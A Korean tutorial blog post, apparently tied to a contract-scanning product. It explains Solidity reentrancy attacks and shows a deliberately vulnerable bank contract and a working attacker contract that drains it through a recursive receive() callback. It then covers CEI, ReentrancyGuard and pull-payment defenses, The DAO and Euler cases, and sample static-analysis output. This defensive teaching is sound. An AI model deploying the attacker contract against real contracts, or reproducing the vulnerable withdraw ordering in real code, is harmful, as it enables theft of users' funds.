English summary: Reentrancy is the most notorious smart contract vulnerability, responsible for hundreds of millions in losses. This post covers how reentrancy works with annotated exploit code, the three defense patterns (CEI, mutex, ReentrancyGuard), and how to detect it automatically with static analysis tools.
"무한 출금 ATM" — Reentrancy의 직관적 이해
재진입(Reentrancy) 공격을 이렇게 생각해보세요.
ATM에서 출금할 때 은행이 다음 순서로 처리한다면:
1. 잔액 확인 ✅
2. 돈 지급 💵
3. 잔액 차감 ← 이 단계가 나중에 실행됨
출금을 받는 즉시 "잔액 차감" 전에 다시 출금을 요청하면? 잔액이 여전히 원래 금액으로 보이기 때문에 계속 출금이 됩니다.
이것이 정확히 2016년 The DAO에서 일어난 일입니다.
취약한 코드 해부
// ⚠️ 취약한 컨트랙트 — 교육 목적
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "잔액 없음");
// 🚨 문제: 외부 call이 먼저 실행됨
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "전송 실패");
// 🚨 상태 업데이트가 나중에 됨 — 공격자는 이 라인 전에 재진입 가능
balances[msg.sender] = 0;
}
}
공격 컨트랙트
// ⚠️ 공격 컨트랙트 — 교육 목적
contract Attacker {
VulnerableBank public target;
uint256 public attackAmount = 1 ether;
constructor(address _target) {
target = VulnerableBank(_target);
}
function attack() external payable {
require(msg.value >= attackAmount);
target.deposit{value: attackAmount}();
target.withdraw(); // 첫 번째 출금 시작
}
// 돈을 받을 때마다 자동 실행되는 함수
receive() external payable {
// balances[attacker]가 아직 0이 되지 않음
// → 재진입해서 다시 출금 가능
if (address(target).balance >= attackAmount) {
target.withdraw(); // 반복 출금
}
}
}
공격 흐름:
1. 공격자가 1 ETH 예치
2. withdraw() 호출 → 컨트랙트가 1 ETH 전송
3. receive() 트리거 → 다시 withdraw() 호출
4. 잔액이 아직 1 ETH → 또 전송
5. 컨트랙트 ETH가 바닥날 때까지 반복
방어 패턴 3가지
1. Checks-Effects-Interactions (CEI) 패턴 — 기본 원칙
contract SecureBank_CEI {
mapping(address => uint256) public balances;
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "잔액 없음");
// ✅ 순서 변경: 상태 업데이트를 먼저
balances[msg.sender] = 0; // Effects
(bool success, ) = msg.sender.call{value: amount}(""); // Interactions
require(success, "전송 실패");
}
}
balances[msg.sender] = 0을 외부 call 전에 실행합니다. 재진입 시도가 있어도 잔액이 이미 0이므로 require(amount > 0)에서 실패합니다.
2. ReentrancyGuard (뮤텍스)
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank_Guard is ReentrancyGuard {
mapping(address => uint256) public balances;
// nonReentrant modifier가 재진입을 원천 차단
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "잔액 없음");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "전송 실패");
}
}
nonReentrant는 함수 진입 시 잠금을 걸고, 함수 종료 시 해제합니다. 잠금 상태에서 재진입하면 즉시 revert됩니다.
3. Pull Payment 패턴
직접 ETH를 보내는 대신, 사용자가 직접 찾아가게 합니다:
contract SecureBank_Pull {
mapping(address => uint256) public pendingWithdrawals;
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0; // 먼저 0으로
payable(msg.sender).transfer(amount); // transfer는 2300 gas 제한
}
}
실제 사례: The DAO (2016)
피해액: 3.6M ETH (당시 약 6,000만 달러)
The DAO는 당시 이더리움 최대 스마트 컨트랙트였습니다. splitDAO() 함수에서 잔액 업데이트 전에 ETH를 전송하는 취약점이 있었습니다. 공격자는 이를 반복 호출해 1/3의 이더리움을 탈취했고, 이더리움 하드포크(ETH/ETC 분리)의 직접적인 원인이 되었습니다.
Euler Finance (2023)
CEI 패턴을 사용했지만 donateToReserves 함수와 복잡한 플래시론 상호작용에서 취약점이 발생했습니다. 1억 9,700만 달러 피해. 단순한 재진입이 아닌 cross-function reentrancy의 사례입니다.
자동 탐지: Slither로 5초 만에 발견
수동 코드 리뷰는 human error가 발생합니다. 자동화 도구가 필수입니다.
ContractScan에서 취약한 코드를 스캔하면:
[HIGH] Reentrancy in VulnerableBank.withdraw()
External call: msg.sender.call{value: amount}()
State variables written after: balances[msg.sender] = 0
Recommendation: Apply Checks-Effects-Interactions pattern
Slither 기반 정적 분석 + AI 설명으로 취약점 위치, 익스플로잇 경로, 수정 방법을 자동으로 제시합니다.
핵심 요약
| 방어법 | 장점 | 단점 |
|---|---|---|
| CEI 패턴 | gas 효율적, 단순 | 개발자 실수 가능 |
| ReentrancyGuard | 자동 보호, 명시적 | 약간의 gas 오버헤드 |
| Pull Payment | 가장 안전 | UX 복잡, gas 두 번 |
권장: 중요한 함수에는 CEI + nonReentrant를 함께 적용하세요. 방어는 중복이 좋습니다.
다음 편에서는 Solidity 취약점 TOP 5 — 접근 제어, 오라클 조작, 플래시론 공격까지 전체 지형도를 다룹니다.